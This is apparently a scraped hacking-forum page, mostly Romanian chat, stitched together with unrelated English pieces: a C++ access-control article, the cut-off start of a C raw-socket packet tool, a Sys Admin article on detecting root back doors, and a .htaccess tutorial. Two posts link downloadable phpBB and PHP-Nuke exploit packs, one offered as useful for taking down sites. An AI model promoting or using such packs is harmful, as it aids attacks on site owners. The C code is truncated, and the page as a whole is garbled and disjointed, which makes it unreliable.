Fatal1ty

welcome nice avatar

<div class='quotetop'>QUOTE("eddie47")</div>

welcome in our family

pai ios tocmai din slatina si cre ca nu pot sa vin acum dar sper ca o sa ne mai intalnim ....oricum o sa fim impreuna in bucuresti cativa ani cat o sa stau la facultate ,,poate mergem mai multi la aceiasi dar pana atunci ..... (sunt intra 10-a)

ma dak vine kw3rln poate vin si eu

nos il stie dinainte sa apara )) :@

ma ios tocmai din ..... lasa stiti voi ma oftic ca nu pot veni si eu (((( dar o sa ne mai intalnim da?

La multi ani Elias !!! Tineo tot asa !

mie nu prea imi mere linku ala :?

corect

kw3rln ai 1347 ? sau cre ca mult mai multe

=))=)) lol marpha

As most object-oriented programmers know, information hiding is one of the most important things in OOP. It also causes problems, because there is cases when some other classes than deviced classes should have access to the hidden information. We still don't want this information be available through public interface and declaring friend classes isn't nice option either, because it strings some nasty dependencies between components. So what can we do? Here I present two of tricks that can be used, but should be used with caution: 1) If classes share same base class and you need to access protected base class members of a cross-class. Example follows: class Base { protected: void foo() {} }; class A: public Base {}; class B: public Base { public: void bar(A &a_) {a_.foo();} }; The following piece of code won't compile, because access to protected interface of a cross-class isn't allowed. What you can do, however, is that you cross-cast the passed argument to the type of the class where from you try to access the protected interface: class B: public Base { public: void bar(A &a_) {((B&)a_).foo();} }; Example of the usage: int main(void) { A a; B b; b.bar(a); return 0; } Naturally there are risks in cross-casting as well as down-casting whereto this trick can also be applied on. For instance if you change the inheritance scheme of a cross-class (for instance change inheritance of A from Base to Base2), this would play havoc on your code if you forget to change the interface to match the new purpose. Also if you accidently call other than base class members after the typecasting it will cause damage. I faced need for this trick when I designed state handling framework for my 3D engine. Each different state as well as state controller class are derived from StateBase class. StateBase-class has derived by using protected inheritance from ListItem-class which implements implicit list accessors and mutators. Protected inheritance is used because I don't want to expose state list to consumers and prevent them writing code which relies that states are actually present in a list. Still, access to the list is required from the state controller and different states. 2) Another useful trick according information hiding I found when applying object factory pattern. In my 3D engine models (meshes) are created from vertex array and they need some low level access to the vertex array, which I don't want to expose to consumers (for instance querying IDirect3DDevice7 interface in D3D implementation). These two classes got no relations in inheritance scheme whatfor I can't use the first trick. However, because vertex array takes care of model creation, I can pass abstract access base class, which publicly declares required low level access and use private inheritance to inherit vertex array from it. The access interface is implemented in private section of vertex array ensuring that no other classes than created models can access it. By reguesting access base interface in model constructors I also prevent explicit instantiation of model classes. And example follows: class AccessBase { public: virtual void foo()=0; protected: ~AccessBase() {} private: void operator=(const AccessBase&); // no implementation }; class A { public: A(AccessBase &access_) {m_access=&access_;} void bar() {m_access-foo();} private: A(const A&); // no implementation void operator=(const A&); // no implementation AccessBase *m_access; }; class Factory: private AccessBase { public: A *create() {return new A(*this);} private: void foo() {} }; Example of the usage: int main(void) { Factory fact; A *a=fact.create(); delete a; return 0; } If we look for drawback of this approach, it's obvious that we need to declare extra interface class which allows the access. If you wonder what are these "// no implementation" lines, they are just added to prohibit incorrect use of the interface allowed by auto generation of those members.

#define DEBUG #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <time.h> #include <sys/socket.h> #include <netinet/in.h> #ifndef __linux__ #include <netinet/in_systm.h> #include <netinet/ip.h> #else #include <endian.h> #include <bsd/netinet/in_systm.h> #include <bsd/netinet/ip.h> #include <linux/wait.h> #include "/usr/src/linux/net/inet/skbuff.h" #endif #include <assert.h> static unsigned int wait_time = 0; static unsigned int packet_size = 80; static unsigned int packet_count = 1000; static int gateway = 0x0100007f; static int destination = 0; static unsigned int uflag = 0; static unsigned int tflag = 0; static int socket_fd; static struct sockaddr dest; /* Convert an ASCII string to binary IP. Borrowed from linux/net/inet/utils.c */ unsigned long in_aton(char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '

Bun venit

welcome man

cre ca a mai fost postat :@

in sfarsit se prinsa cineva.....bv icarius,ai o bamboana de la mine

<div class='quotetop'>QUOTE("Icarius")</div> taci mha

welcome in our family

<div class='quotetop'>QUOTE("Thunder")</div> Ba sa fiu io .. chiar i pretena ta .. dovezi o poza cu ea .. ceva plm .. I buna rau :@[/quote:26af5cb629] ma ... crezi ca nu merit una ca ea sau ce ? :@ Ea este prietena mea ....

phpBB Exploit Pack Pack containing phpBB exploits, usefull when your trying to take down a site that is running phpBB.   [url]http://rapidshare.de/files/3861527/G00B3RS_phpBB_exploit_pack.rar.html[/url]

http://rapidshare.de/files/6978396/Php_Nuke_Hacker_1.0.zip.html

Root Access Intrusion -- A Suite of Tools Rhonda Thorne While UNIX systems administrators aren't worried about things like the "CodeRed" or "I Love You" viruses, a root access intrusion is a real threat. By minimizing the number of people who know the root password, establishing a frequent regular schedule to change the root password, and forcing a switch user (su) to root, systems administrators may think that they have secured their systems. However, someone who is not approved to use root could still invade a UNIX system. This article will provide some tools to help administrators detect and investigate possible intrusion. If you are like me and have lots of systems to monitor, you know it is time consuming to review sulogs, command-line history files, and password files for root access intrusions. Monitoring UNIX files with automated tools is essential for effective security. If you have an HP 11.0 system, the free IDS/9000 Intrusion Detection System may be worth using. If not, the following suite of tools can be used by any UNIX admin for intrusion notification and investigation. With more than six years of experience, and using the "Zen of Sys Admin" (save the data, secure the system, and make the users effective), I applied all of the measures that I learned in UNIX security training and was confident that the possibility of a breach was minimal. However, while working on a massive Y2K conversion project that included more than 30 applications, application development, and database consultants, I encountered a breach of security at the root access level. Fortunately, the tools discussed here were in place and disclosed the security breach, identified the intruder, and proved which commands had been executed during the intrusion. The Scenario I received an email showing su's to root on a system had transpired. I noticed that the username switching to root had no right to root access, so I went to the directory containing each root login command-line history. I had the username, time, and date of the person switching to root. I opened this history file to view the command lines executed by the intruder and found that this person was logged in as root and had entered a command of vi /etc/passwd. I immediately went to the /etc/passwd file and found an additional entry for root with a different username. This is a sys admin's nightmare -- the system had been breached, and the intruder had created a root "back door". Upon further review of the root command-line history and home directories .sh_history, as well as checking out the system, the only damage shown was the creation of the root back door and some permission changes to database files. I copied the /etc/passwd file, removed the root back door from the active /etc/passwd file, changed the root password on all of the systems, and printed out my evidence from the saved password file, pertinent history file, and the sulog file. After removing the security holes, I gathered the evidence and informed the IT Director. With all of the evidence from these tools, the IT Director had no choice but to let this user go. The IT Director was impressed with my proactive method of proving an improper root access intrusion and rapid system recovery after the breach. There were still lessons to be learned from this incident, however, and I immediately created a way for the system to notify me of any root back doors added to the /etc/password file. The tools described here have not been tested on a Linux box, but they should work with some script tweaking. The methods have been tested on IBM AIX, HP-UX, and Solaris platforms for this sample. Here is the setup: Step 1: Forcing an su to root For all of these tools to work, you must prohibit users from logging in as root. In other words, you must force users to access root through the su - command. This will cause an entry in the /var/adm/sulog, which will provide the name of the user trying to breach root access security. It will also create a separate file in a specified directory that contains the intruder's command-line history (explained in step 2). If you choose not to force su - to root, the notification tools can still be used (steps 3 and 4). The following methods will force an su to root, making it so that a direct login as root can only be done at the console. AIX: You can use SMIT, security users, change user for root, and mark remote login to be "false". If you are using NIS on your systems, I recommend investigating this further because SMIT will use the "change user command" (chuser). The chuser man page recommends not using this command if you are running NIS because chuser only changes local files, not NIS files. HP-UX: Create the file /etc/securetty and add the word CONSOLE. Change permission on the file by doing a chmod 600 /etc/securetty, thereby requiring root access to change this file. Solaris: Ensure the entry CONSOLE=/dev/console is placed uncommented in the /etc/default/login. Permissions to the /etc/default/login file should be set so that no one can change this file except root, but the file can be read by all. You may try chmod 444 /etc/default/login. Step 2: Capturing Individual root Login Command-Line History To catch an intruder and the commands he executes, root's .profile must be revised to include the creation of separate command-line histories for each root login. This is accomplished by adding the script in Listing 1 and setting the login shell to be the Korn shell (ksh) in the /etc/passwd file. Solaris: You can place the login shell of /bin/ksh in the /etc/passwd, replacing the default of /sbin/sh. Don't make the mistake (as I did) of typing /sbin/ksh -- this is an invalid shell and you won't be able to log in as root. Be sure to close down root's .profile permissions by doing a chmod 700 .profile so that root is the only one who can change or read root's .profile. This keeps everyone's command-line histories separate while using the Korn shell esc k command-line history option. If the user or intruder does not use the su - when switching to root, these command-line histories will be kept in the intruder's home directory (.sh_history) file. This makes intrusion investigation difficult (if not impossible), because the intruder can clean up his .sh_history file. If this is a critical point and educating users to enforce the su - is unmanageable, you may choose to use the sudo tool for regular users wanting root access for specific purposes, and enforce the su - for the admins only. In this sample, I use the directory name /var/adm/hist, since other system logging is kept in /var/adm. You can use any name for the directory name. Be sure that you chmod 777 the directory so that everyone has write permission. I also did a chown root:sys /var/adm on AIX and HP, and root:other for Solaris. The file name consisting of the su entry and date:time-year (rthorne-root@13:42:20-021302) is necessary for pinpointing and proving the intrusion. Don't forget to set a root crontab entry to clean out the hist files, which accumulate and take up space. I set my root crontab to remove any hist files over 30 days old, because I should know if a root access breach has occurred before that time elapses. Step 3: Notification of su Activity Listing 2 checks the /var/adm/sulog file for su's to root attempted for this date and reports them via email. Remember that a plus sign (+) in the sulog means a successful su, and a minus sign (-) means an unsuccessful su (but it still needs investigation). The reporting function can be changed to the method by which you want to be notified. I have made an entry in the /etc/mail/aliases file for sysadmin2, but you could hardcode the notification address in the script. Place an entry in the root crontab file to run this script on the frequency of your choice, but run it before midnight because it checks for su's for today's date. In this sample, I have simply called this entry security.chk. Keep in mind that an intruder may check the crontab for anything checking for intruders. Solaris: For the grep -e to work, you must have /usr/xpg4/bin in the root .profile PATH or hardcode this entry in your script (grep `date +$m/%d` /var/adm/sulog | /usr/xpg4/bin/grep -e "-root"). Step 4: Checking the /etc/password File for Root Back Doors In Listing 3, the password file will be searched for root back doors. As in step 3, you can be notified in any manner. I choose to be paged when a back door has been detected. I have also placed an /etc/mail/aliases entry for sysadmin-page, but you can hardcode the notification address in the script. Place an entry in the root crontab file for the frequency that you would like to be notified if any root back doors are found. Remember to name this script so that the intruder isn't aware of the check for root back doors while reading a crontab listing. There are some sys admins who have root back door passwd entries for administration reasons. If you are one of those, be sure to change -gt 1 to the number of root passwd entries that is normal for your site. AIX: Change the count line in the script to be the :0:0:, which is the UID/GID of root. By only looking for :0:, the script could report erroneous findings. HP-UX: Change the count line in the script to be :0:3:, which is the UID/GID for root, because some systems use the UID of 0 for the user system. Solaris: Change the count line in the script to be :0:1:, which is the UID/GID for root, because some systems use the UID of 0 for the user system. For the grep -e to work, you must have /usr/xpg4/bin in the root .profile PATH, or hardcode this entry in your script as shown in step 3. Conclusion I hope that you find these tools useful. Proactive security notification tools help keep you informed when there is a root access intrusion on your system, but I also hope you never need to use the information that these tools can give you. That would be a sys admin's dream.

Introduction In this tutorial you will find out about the .htaccess file and the power it has to improve your website. Although .htaccess is only a file, it can change settings on the servers and allow you to do many different things, the most popular being able to have your own custom 404 error pages. .htaccess isn't difficult to use and is really just made up of a few simple instructions in a text file. Will My Host Support It? This is probably the hardest question to give a simple answer to. Many hosts support .htaccess but don't actually publicise it and many other hosts have the capability but do not allow their users to have a .htaccess file. As a general rule, if your server runs Unix or Linux, or any version of the Apache web server it will support .htaccess, although your host may not allow you to use it. A good sign of whether your host allows .htaccess files is if they support password protection of folders. To do this they will need to offer .htaccess (although in a few cases they will offer password protection but not let you use .htaccess). The best thing to do if you are unsure is to either upload your own .htaccess file and see if it works or e-mail your web host and ask them. What Can I Do? You may be wondering what .htaccess can do, or you may have read about some of its uses but don't realise how many things you can actually do with it. There is a huge range of things .htaccess can do including: password protecting folders, redirecting users automatically, custom error pages, changing your file extensions, banning users with certian IP addresses, only allowing users with certain IP addresses, stopping directory listings and using a different file as the index file. Creating A .htaccess File Creating a .htaccess file may cause you a few problems. Writing the file is easy, you just need enter the appropriate code into a text editor (like notepad). You may run into problems with saving the file. Because .htaccess is a strange file name (the file actually has no name but a 8 letter file extension) it may not be accepted on certain systems (e.g. Windows 3.1). With most operating systems, though, all you need to do is to save the file by entering the name as: ".htaccess" (including the quotes). If this doesn't work, you will need to name it something else (e.g. htaccess.txt) and then upload it to the server. Once you have uploaded the file you can then rename it using an FTP program. Warning Before beginning using .htaccess, I should give you one warning. Although using .htaccess on your server is extremely unlikely to cause you any problems (if something is wrong it simply won't work), you should be wary if you are using the Microsoft FrontPage Extensions. The FrontPage extensions use the .htaccess file so you should not really edit it to add your own information. If you do want to (this is not recommended, but possible) you should download the .htaccess file from your server first (if it exists) and then add your code to the beginning. Custom Error Pages The first use of the .htaccess file which I will cover is custom error pages. These will allow you to have your own, personal error pages (for example when a file is not found) instead of using your host's error pages or having no page. This will make your site seem much more professional in the unlikely event of an error. It will also allow you to create scripts to notify you if there is an error (for example I use a PHP script on Free Webmaster Help to automatically e-mail me when a page is not found). You can use custom error pages for any error as long as you know its number (like 404 for page not found) by adding the following to your .htaccess file: ErrorDocument errornumber /file.html For example if I had the file notfound.html in the root direct ory of my site and I wanted to use it for a 404 error I would use: ErrorDocument 404 /notfound.html If the file is not in the root directory of your site, you just need to put the path to it: ErrorDocument 500 /errorpages/500.html These are some of the most common errors: 401 - Authorization Required 400 - Bad request 403 - Forbidden 500 - Internal Server Error 404 - Wrong page Then, all you need to do is to create a file to display when the error happens and upload it and the .htaccess file. .htaccess Commands Introduction In the last part I introduced you to .htaccess and some of its useful features. In this part I will show you how to use the .htaccess file to implement some of these. Stop A Directory Index From Being Shown Sometimes, for one reason or another, you will have no index file in your directory. This will, of course, mean that if someone types the directory name into their browser, a full listing of all the files in that directory will be shown. This could be a security risk for your site. To prevent against this (without creating lots of new 'index' files, you can enter a command into your .htaccess file to stop the directory list from being shown: Options -Indexes Deny/Allow Certian IP Addresses In some situations, you may want to only allow people with specific IP addresses to access your site (for example, only allowing people using a particular ISP to get into a certian directory) or you may want to ban certian IP addresses (for example, keeping disruptive memembers out of your message boards). Of course, this will only work if you know the IP addresses you want to ban and, as most people on the internet now have a dynamic IP address, so this is not always the best way to limit usage. You can block an IP address by using: deny from 000.000.000.000 where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range. You can allow an IP address by using: allow from 000.000.000.000 where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range. If you want to deny everyone from accessing a directory, you can use: deny from all but this will still allow scripts to use the files in the directory. Alternative Index Files You may not always want to use index.htm or index.html as your index file for a directory, for example if you are using PHP files in your site, you may want index.php to be the index file for a directory. You are not limited to 'index' files though. Using .htaccess you can set foofoo.blah to be your index file if you want to! Alternate index files are entered in a list. The server will work from left to right, checking to see if each file exists, if none of them exisit it will display a directory listing (unless, of course, you have turned this off). DirectoryIndex index.php index.php3 messagebrd.pl index.html index.htm Redirection One of the most useful functions of the .htaccess file is to redirect requests to different files, either on the same server, or on a completely different web site. It can be extremely useful if you change the name of one of your files but allow users to still find it. Another use (which I find very useful) is to redirect to a longer URL, for example in my newsletters I can use a very short URL for my affiliate links. The following can be done to redirect a specific file: Redirect /location/from/root/file.ext http://www.othersite.com/new/file/location.xyz In this above example, a file in the root directory called oldfile.html would be entered as: /oldfile.html and a file in the old subdirectory would be entered as: /old/oldfile.html You can also redirect whole directoires of your site using the .htaccess file, for example if you had a directory called olddirectory on your site and you had set up the same files on a new site at: http://www.newsite.com/newdirectory/ you could redirect all the files in that directory without having to specify each one: Redirect /olddirectory http://www.newsite.com/newdirectory Then, any request to your site below /olddirectory will bee redirected to the new site, with the extra information in the URL added on, for example if someone typed in: http://www.youroldsite.com/olddirecotry/ol...mages/image.gif They would be redirected to: http://www.newsite.com/newdirectory/oldfil...mages/image.gif This can prove to be extremely powerful if used correctly. Password Protection Introduction Although there are many uses of the .htaccess file, by far the most popular, and probably most useful, is being able to relaibly password protect directories on websites. Although JavaScript etc. can also be used to do this, only .htaccess has total security (as someone must know the password to get into the directory, there are no 'back doors') The .htaccess File Adding password protection to a directory using .htaccess takes two stages. The first part is to add the appropriate lines to your .htaccess file in the directory you would like to protect. Everything below this directory will be password protected: AuthName "Section Name" AuthType Basic AuthUserFile /full/path/to/.htpasswd Require valid-user There are a few parts of this which you will need to change for your site. You should replace "Section Name" with the name of the part of the site you are protecting e.g. "Members Area". The /full/parth/to/.htpasswd should be changed to reflect the full server path to the .htpasswd file (more on this later). If you do not know what the full path to your webspace is, contact your system administrator for details. The .htpasswd File Password protecting a directory takes a little more work than any of the other .htaccess functions because you must also create a file to contain the usernames and passwords which are allowed to access the site. These should be placed in a file which (by default) should be called .htpasswd. Like the .htaccess file, this is a file with no name and an 8 letter extension. This can be placed anywhere within you website (as the passwords are encrypted) but it is advisable to store it outside the web root so that it is impossible to access it from the web. Entering Usernames And Passwords Once you have created your .htpasswd file (you can do this in a standard text editor) you must enter the usernames and passwords to access the site. They should be entered as follows: username:password where the password is the encrypted format of the password. To encrypt the password you will either need to use one of the premade scripts available on the web or write your own. There is a good username/password service at the KxS site which will allow you to enter the user name and password and will output it in the correct format. For multiple users, just add extra lines to your .htpasswd file in the same format as the first. There are even scripts available for free which will manage the .htpasswd file and will allow automatic adding/removing of users etc. Accessing The Site When you try to access a site which has been protected by .htaccess your browser will pop up a standard username/password dialog box. If you don't like this, there are certain scripts available which allow you to embed a username/password box in a website to do the authentication. You can also send the username and password (unencrypted) in the URL as follows: http://username:password@www.website.com/directory/ Summary .htaccess is one of the most useful files a webmaster can use. There are a wide variety of different uses for it which can save time and increase security on your website.